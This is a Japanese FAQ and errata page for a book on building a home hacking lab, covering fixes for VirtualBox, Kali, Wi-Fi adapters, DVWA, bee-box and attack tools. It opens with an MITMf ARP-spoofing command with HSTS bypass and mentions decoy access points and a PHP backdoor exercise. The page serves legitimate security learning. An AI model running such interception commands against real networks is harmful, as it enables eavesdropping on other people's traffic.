$ apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file $ git clone https://github.com/byt3bl33d3r/MITMf $ cd MITMf && git submodule init && git submodule update --recursive $ sudo apt install python-pip $ sudo pip install -r requirements.txt $ sudo python mitmf.py --help $ sudo python mitmf.py -i eth0 --arp --spoof --gateway 192.168.1.x --target 192.168.1.xx --hsts参考サイトは次の通り。 ・no module name pyinotify in mitmf ・公式サイトのInstallation説明ページ よさねん(@yone_ryota )の報告によれば、この方法により、インストールして、起動できたようです。 ただし、マニュアル通りにやれば上手くいくけどgithubにも書いてある通り"virtualenvwrapper.sh"ファイルがどっか行くので注意とのこと。
mitmfコマンドの実行時にエラーが発生する 【第2部 第6章 P488】
吉田貴志(@whYh1MTKtLowhaz)さんの報告によると、mitmfコマンドの実行時に次のようなエラーが発生することがあるようです。
MITMfでJavaScriptコードを注入しようとするとAttributeErrorが発生する 【第2部 第6章 P500】
吉田貴志(@whYh1MTKtLowhaz)さんの報告によると、MITMfでのJavaScriptコードを注入しようとするとAttributeErrorが発生することがあるようです。 私自身は未検証ですが、twisted python libraryを新しいバージョンに入れ替えることで改善するそうです。
内蔵無線LANアダプターをMoniterモードにする 【第2部 第6章 P511-512】
ノートPCの実機は内蔵無線LANアダプターを通常備えています。実機にKaliをインストールして、この内蔵無線LANアダプターをMonitorモードにできれば、もっともすっきりした構成になります。 内蔵無線LANアダプターをMoniterモードにするには、以下の記事が参考になります。 ・ASUSのノートPC、ZenBook 14 UX433FNで、kali-linux-2020.1-live-amd4のUSB起動を試す~内蔵無線LANがMonitorモードで動いた ・ノートパソコンASUSのT100TAーDK32GのUSBメモリから起動するKali Linux(64bit版、kali-linux-2019.3-amd64)に対して、バッファローの無線LAN子機、WI-U2-433DHPをインストールして、Monitorモード(モニタモード)を試す件
手持ちのUSB型WiFiドングルがKaliで認識しない 【第2部 第6章 P512-513】
日本で普及しているWiFiドングルはなかなかKaliでは認識しないかもしれません。 RomHIRAGA(@RomHIRAGA)さんの報告によると、以下の記事を参考にして、Windows10とVirtualBoxの問題を解決することで、Planexの有名WiFiドングルを認識させることができたそうです。 ・「VirtualBox: Failed to attach the USB device to the virtual machine」 ただし、レジストリをいじるので注意してください。
TP-Link TL-WN725NをMonitorモードにする 【第2部 第6章 P513】
猫丸(@Neko_syashin)さんの報告によれば、このコマンドを使えばTP-Link TL-WN725NをMonitorモードできるそうです。 また、もし無線LAN子機がなく購入するのであれば、25Nは700円くらいで買えるのでよいかもしれないとのことです。
HTTP通信を復元できない 【第2部 第6章 P578】
studio84h_DiceK(@DiceK_DIYF)さんの報告によると、HTTP通信を復元できないことがあり、その対策を記事にまとめてくれました。 復元できない原因はWiresharkで4 way handshakeがキャプチャできてないことです。 さらに、なぜキャプチャできていないかというと、無線LANアダプターの問題だったようです。 アダプターの種類によっては、挙動が異なるということであり、こういったことを考慮してアダプターを選ぶとよいようです。 WifiPumkin3の作者によると、 以下のアダプターはKaliで動作実績あるとのこと。 ・PAU09 ・RT3070 WifiPumkin3 on KaliLinuxで試してはないけど、他のペネトレーションテストツールで実績のある以下もお勧めだそうです。 ・Atheros AR9271(2.4Ghz - USB) ・Intel Centrino Advanced-N 6205(2.4Ghz/5Ghz - PCIe) ・Ralink RT2770(2.4Ghz/5Ghz - USB) ・Ralink RT3572(2.4Ghz/5Ghz - USB) ・Ralink RT5372(2.4Ghz - USB) ・Realtek RTL8723BE(2.4Ghz - PCIe)
WiFi-Pumpkinをインストールできない 【第2部 第6章 P587】
stuido84h_DiceK(@DiceK_DIYF)さんの報告、Jangari(@Jangari_nTK)さんの報告によると、2020年6月の時点でWiFi-Pumpkinをインストールできないようです。 対応策としては、Wifipumpkin2をやめて、Wifipumpkin3を導入することです。 詳細は、Jangari(@Jangari_nTK)さんが記事にまとめてくれました。 ・【Tips】【Tutorial】Wifipumpkin3 によるおとり AP の実行【ハッキングラボ】【ハッキングラボ】
driftnetについて 【第2部 第6章 P589】
Jangari(@Jangari_nTK)さんがdriftnetについて記事にまとめてくれました。 とても勉強になるので、参考にしてください。 ・【Tips】driftnet の使い方&警告が出たのでソースから調査したよ【ハッキングラボ】
DVWAのページにアクセスしたときに画面が真っ白になる 【第2部 第7章 P595】
P436のモジュールの問題により、DVWAのページにアクセスすると真っ白でログインできないそうです。Xplicoの認証画面が出るようにモジュールを切り替えた方法により、DVWAの問題も解決するようです(修正方法は上記を参照)。
findmyhashエラー 【第2部 第7章 P611】
studio84h_DiceK(@DiceK_DIYF)さんの報告によると、findmyhashを実行時にエラーが出るそうです。 この記事によると、findmyhash自体のソースが7年前と古く、URLリンク切れ、ハッシュ投げ方や受取方が変更されており、http://findmyhash_v1.1.2.pyの中身をいじる必要があるとのことです。
Burpがlocalhost宛の通信をinterceptしない 【第2部 第7章 P613-617】
fffm(@fff37861936)さんの報告によると、Burpがlocalhost宛の通信をinterceptしないようです。 解決策を記事にしてくれましたので、参考にしてください。 ・「Firefoxでlocalhostの通信をBurpに通す方法」
ovftool.exeでovfファイルを出力しようとするとエラーが発生する 【第2部 第7章 P625】
ovftool.exeでvmxファイルをovfファイルに変換する際に、"Error: Failed to open file"というエラーが発生するという報告を受けました。
C:\Program Files (x86)\VMware\VMware Player\OVFTool>.\ovftool.exe "C:\Users\ipusiron\Downloads\bee-box_v1.6\bee-box\bee-box.vmx" "C:\Users\ipusiron\Downloads\bee-box_v1.6\bee-box\bee-box.ovf" ←入力コマンド Opening VMX source: C:\Users\ipusiron\Downloads\bee-box_v1.6\bee-box\bee-box.vmx ←以降は出力結果 Opening OVF target: C:\Users\ipusiron\Downloads\bee-box_v1.6\bee-box\bee-box.ovf Writing OVF package: C:\Users\ipusiron\Downloads\bee-box_v1.6\bee-box\bee-box.ovf Transfer Completed Completed successfullyovfファイルが生成され、VirtualBoxでインポートできれば成功です。 この方法でもうまくいかなければ、空の仮想マシンにbee-box.vmdkファイルを仮想HDDとして認識させるという手もあります。少々面倒ですが、この方法については以下の記事が参考になります。 ・VmwareからVirtualBoxに移行するときのメモ
右クリックでbee-boxをインポートしようするとエラーになる 【第2部 第7章 P626】
Rei(@rm_rf_rei)さんの報告によると、"bee-box.ovf"ファイルを右クリックしてインポートしようとするとエラーになる場合があるようです。
bee-boxの仮想マシンに日本語キーボードのレイアウトを適用する 【第2部 第7章 P627】
bee-boxのキーボードレイアウトは日本語ではないので、記号を入力するのが手間です。また、[z]キーを押すと「w」、[w]キーを押すと「z」が表示され、どうやら英語キーボードのレイアウトでもなさそうです。 基本的にbee-boxではほとんどコマンドを入力することはないでしょう。ネットワークが不調の際委、IPアドレスをチェックしたり、Pingを実行したりするぐらいだと思います。そのため、キーボードレイアウトが合っていなくてもそれほど問題にならないはずです。 P627のステップ6のURLには、bee-boxのローカルからアクセスするわけではありません。別の仮想マシン(Kaliなど)やホストOS(Windows 10)からアクセスします。 ここで日本語キーボードのレイアウトの適用方法を紹介しますが、必須ではありません。必要があれば適用してください。 1:bee-boxのメニューの「System」>「Preferenses」>「Keyboard」を選びます。
bee-boxにPHPバックドアを設置する際に、ステップ4の処理はどういう意図があるのか 【第2部 第7章 P633】
noe(@noe44657130)さんから、php-backdoor.phpを`/var/www/html`に設置した際に、拡張子に".txt"を追加しているのはなぜでしょうかという質問がDMで寄せられました。 結論からいえば、ステップ4は本の都合上あるだけであり、攻撃の本質とは関係ありません。 どういう都合があったのかというと、次の通りです。 もしステップ4を飛ばしてステップ5から解説したとします。 その際、ステップ5がうまくいかないという問い合わせがあったときに、PHPの問題なのか単にHTTPアクセスできないこと(例えばApacheの起動を忘れた)が問題なのかがわかりません。 これを避けるために、ステップ4を設けて、phpのソースが見れる(=Apacheが起動してHTTPでアクセスできる)ことを確認しているのです。 以上のやり取りをツイートにまとめていただきました。
bee-boxのBuffer Overflowについての考察 【第2部 第7章 P652】
wannabe_skywalker(@wannabeskywalk1さん)がBoFのExploitについて考察しています。
apt upgrade中にwireshark-commonの設定をしたが、改めて設定を変更したい
apt upgrade中にwireshark-commonの設定画面が表示されることがあります。その際に"Should non-superusers be able to capture packets?"(スーパーユーザー以外もパケットをキャプチャできるように許可しますか?)という質問が表示され、Yes/Noを選択する必要があります。デフォルトではNoが選択されており、通常はNoのままで構いません。root以外もキャプチャできるようにユーザーを追加するつもりであれば、ここでYesを選択します。 なお、後でこの設定を変更したければ、次のコマンドをTerminalに実行します。すると、wireshark-commonの設定画面が表示されます。
# dpkg-reconfigure wireshark-common
Androidを起動しても、画面が暗いままである 【特典 Androidのハッキング】
特典PDFのバージョン以降のAndroid-x86を仮想マシンインストールすると、起動時に画面が暗いままになるそうです。 TOSHI(@TOSHI34277954)さんの報告によると、起動時に次のような画面になるそうです。 一見するとコンソールモードになっています。
PCはメモリが4GBなのですが耐えられますか?
本書では一般に2つのゲストOSを起動します。つまり、「ホストOSの分+ゲストOSの分×2」のメモリが必要になります。8GBあれば余裕がありますが、4GBの場合はぎりぎりでしょうか。ホスト2GB+ゲスト1GB×2とすることで、理論的には何とかなると思います(動作は重くなります)。 例えばPCを2台持っていたり、NASを持っていれば、そこにゲスト1台分を起動して、メインマシンはゲスト1台分という構成も可能です。ネットワーク的には仮想マシンをブリッジ接続にすれば、仮想マシンのゲストOSがLANにぶらさがる形になります。 クラウド上やNAS上に仮想マシンを立ち上げるというアプローチもあります。ラズパイという選択肢もありますね。ハッキング・ラボ本ではラズパイにKaliをインストールする方法も紹介しています。このKaliは最小構成ですが、ここからメインマシンの仮想マシン(ターゲットのゲストOS)に攻撃してみるという実験も可能です。 私はlenovoのX220というマシンをハッキング・ラボの実験に用いました。ノートPCなのに自分でばらばらにできるので、メモリ増設だけでなく色々拡張もできます。ヤフオクで20k以下で買えると思います。 なお、本書の一部では、1台の仮想マシンでできる実験もあります。 PCのメモリが少なくハッキング・ラボの実験のために工夫したといったことがあれば、是非Twitterに投稿していただけれると他の人(同じような境遇の人)も勇気付くと思います。
仮想環境を導入したら、HDDを圧迫してしまう
VirtualBoxの仮想ドライブ("vdi"ファイル)は、sdelete(or dd)+VboxManageを用いて圧縮できます。 頻繁に使用していない仮想マシンの仮想ドライブを圧縮することで、HDDの圧迫を回避できます。 具体的なやり方はここでは言及しません。 "sdelete"、"仮想ドライブ"、"圧縮"などで検索すると、具体的な方法を解説しているサイトがたくさん見つかるはずです。
仮想マシンがWiFiのアイコンがなくWiredしか出ない
内蔵しているWiFi子機を用いている場合には、Kaliの仮想マシンから見るとWiFiは見えず有線LANのアクセスになります。つまり、Wiredアイコンしか出ないのは正しい動作です。 無線LANのハッキングのとき以外は、ノートPCの内蔵WiFi子機で、Kaliの仮想マシンからインターネットにアクセスできていれば問題ありません。ホスト側がWiFiであっても、仮想マシンからは有線LANとして見えます。 無線LANのハッキングと化する際にはUSBのWiFiアダプタを用います。これについてはP514辺りを参照してください。
VirtualBoxを起動すると"VT-x is not available."が出てしまう
WindowsのHyper-V機能が有効であったり、BIOSのIntelVTが無効になっている可能性があります。特典PDF1のP002でこの辺りの解説をしています。対応方法は環境によって異なるのでネットで検索した方が早いと思います。特に、以下のサイトが参考になると思います。 ・Microsoft Edge での Kaliダウンロード と VirtualBox での Kali起動 が失敗した話 と その解決方法 ・「VirtualBoxが"VT-x is not available. (VERR_VMX_NO_VMX)"といって起動しなくなった」 例えば、sugimoto(@sugineko774)さんの報告によると、BIOSでVT-xが無効になっていると次のエラーメッセージが表示されたそうです。VT-xを有効にすることで起動できたようです。
macOSを使っていますが、ハッキング・ラボを構築できますか?
『ハッキング・ラボのつくりかた』ではWindows(ホストOS)をベースにして仮想環境を構築して、その仮想環境上でハッキングの実験をしています。ただし、macOSやLinuxであっても、一度VirtualBoxをインストールしてしまえば、同様にしてハッキング・ラボを構築できます。よって、一部に関して『ハッキング・ラボのつくりかた』に書いてある方法そのままではうまくいかないかもしれませんが、本質的なところはOSの種類に関係なく実験したり、攻撃手法を学んだりできるはずです。 Masahiro Oono(@words_oono)さんがmacOSにおけるハッキング・ラボの構築をTwitterで詳細にまとめてくれています。 ・第1部の検証
仮想マシンを起動した際に、いつまで経っても先に進まない(ように見える)
KaliやWindows 10の仮想マシンの起動時、いつまで経っても先に進まなく見えることがあるようです。 VBoxのメイン画面で仮想マシンの簡易画面を見ると、きちんと表示されているはずです。 Kaliの仮想マシンであれば、描画が反映されていないだけなので、仮想マシンの画面の端をマウスでつまんで少しサイズを変えると多分描画されます。 また、虎牙龍樹(@kogaryuju)さんの報告によれば、Windows 10の仮想マシンであれば、P301の解説のように仮想マシンを設定することで問題を解決されるそうです。
仮想マシンのネットワークがうまく反映されず、仮想マシン間の通信ができない
ゲスト間で通信するためには、両方とホストオンリーアダプターでIPアドレスが割り振られている必要があります。 他のアプローチとしては、ブリッジアダプターで既存のLANに両方のゲストOSをぶらさげるという方法もあります。ただし、ブリッジアダプターの場合には、仮想アダプターは複数(ブリッジアダプター+NAT)ではなく、単独(ブリッジアダプターのみ)だと安定します。
Kaliのパスワードを忘れてしまった
公式サイトにKaliのパスワードをリセットする方法についての次の記事を参考にしてください。 ・How to reset Kali Linux root password ・How to reset Kali Linux Password 私は未検証ですが、もし検証した結果の画像等があればTwitterなどで投稿していたければ幸いです。
VirtualBoxでKaliの仮想マシンを起動した際に、"could not connect to display"というエラーが出る
あるツイートによると、リカバリーモードで入ってから、sudo apt install virtualbox-dkmsを入力すると直ったそうです。
Metasploitのコマンド入力を自動化したい
msconsoleコマンドには-rオプションが用意されており、msfプロンプトで実行したいコマンドを列挙したrcファイルを指定することで、その一連のコマンドを自動実行できます。 詳細は 「Metasploitをバッチで実行する」の記事が参考になります。
仮想マシンの画面をスケールモードにしてしまい、メニューが消えてしまった
ホストキー+[Home]キーを押すと、メニューが表示されます。 そこからスケールモードのチェックを外してください。 ホストキーが何に設定されているかは、別の仮想マシンを起動すれば右下に確認できます。 また、VirtualBoxのホストキーの設定画面で確認できます。 P110も参考にするとよいでしょう。
『ハッキング・ラボのつくりかた』のラボ環境をHyper-Vで構築したい
「「ハッキング・ラボのつくりかた」をHyper-Vで写経してみる」の記事が参考になります。
VirtualBox画面にて、仮想マシンのアイコンが「はてなマーク」になったり、「アクセスできません」と表示されたりしてしまった
以下の記事が参考になります。 ・「Virtual Boxマネージャ「IE8-Win7」アイコンに「アクセスできません」が表示されていて起動が行えない」 ・「Failed to Open Virtual Machine - Medium Cannot be Closed」 報告によると、GuestAdditions.isoを2回挿入してしまったときに起こったようです。
メニューバーや日本語表記アイコンが消えた
Minami(@mi_nami9)さんの報告によると、次の方法で再表示できるようです。 ・メニューバー表示 VirtualBoxのメイン画面にてKaliの仮想マシンを右クリックして「設定」>「ユーザーインターフェース」>「ミニツールバー」にチェックする。 後は、再起動を繰り返すと、そのうち表示される。 ・日本語表記アイコン メニューバーと共に突然出現する。 設定を見直し、数回に分けて再起動すれば直る。
ISO版のKaliでインストールした際に日本語表示にしたが英語に変更したい
このスレッドで議論されていますので、参考にしてください。
$ LANG=C xdg-user-dirs-gtk-update (ウィンドウが開くので、Update namesを押してreboot)
画面を最大化すると表示が乱れたり、処理が重くなったりする
kumou(@ya_toe12)さんの報告によると、Kali内において画面を最大化すると表示が乱れたり、処理が重くなったりするそうです(Kaliのバージョン、あるいはデスクトップ環境のソフトに依存?)。 その際は、タスクバーを隠すように設定することで、解決するとのことです。
Twitterやブログでハッキング・ラボの実験は、不正指令電磁的記録作成等(提供を含む)に該当しませんか?
出版当時からそういった懸念があったため、P004で免責を載せています。 また、個人的にはハッキング・ラボを強調することは、閉じた環境かつ安全に実験していることのアピールになると思っています。 他人がアクセスできる場所(インターネット、社内LANなど)であれば、無数の人が存在し、当該プログラムを意図しない動作をするものと判断することもあるでしょう。 しかし、仮想環境という閉じたネットワーク内であれば、そのプログラムを扱うのは実験者の本人しかいません。 ハッキング・ラボの実験のために実行ファイル(evil.exeなど)を生成したとしても、そのファイルの動きは実験者にとって完全に意図した動きです。 さらに、自衛するのであれば、実験のために生成した実行ファイルは、実験後に削除しておきましょう。 Kaliのツールでいつでもすぐに生成できるので、保存しておく必要はないでしょう。 万が一に流出してしまうということも防げます。
mac版のKidleアプリでコピーできない
taiyop(@taiyop)さんの報告によると、mac版のKidleアプリで『ハッキング・ラボのつくりかた』の文字列をコピーしようとしても、ブロックされてしまうそうです。 私がWindows版やiPad版のKindleアプリで調査したところ、再現しませんでした。 また、出版社(=翔泳社)側は、mac版で調査したところ再現しなかったそうです。 Amazonに問い合わせても、原因不明とのことです。 現在も調査中であり、未解決です。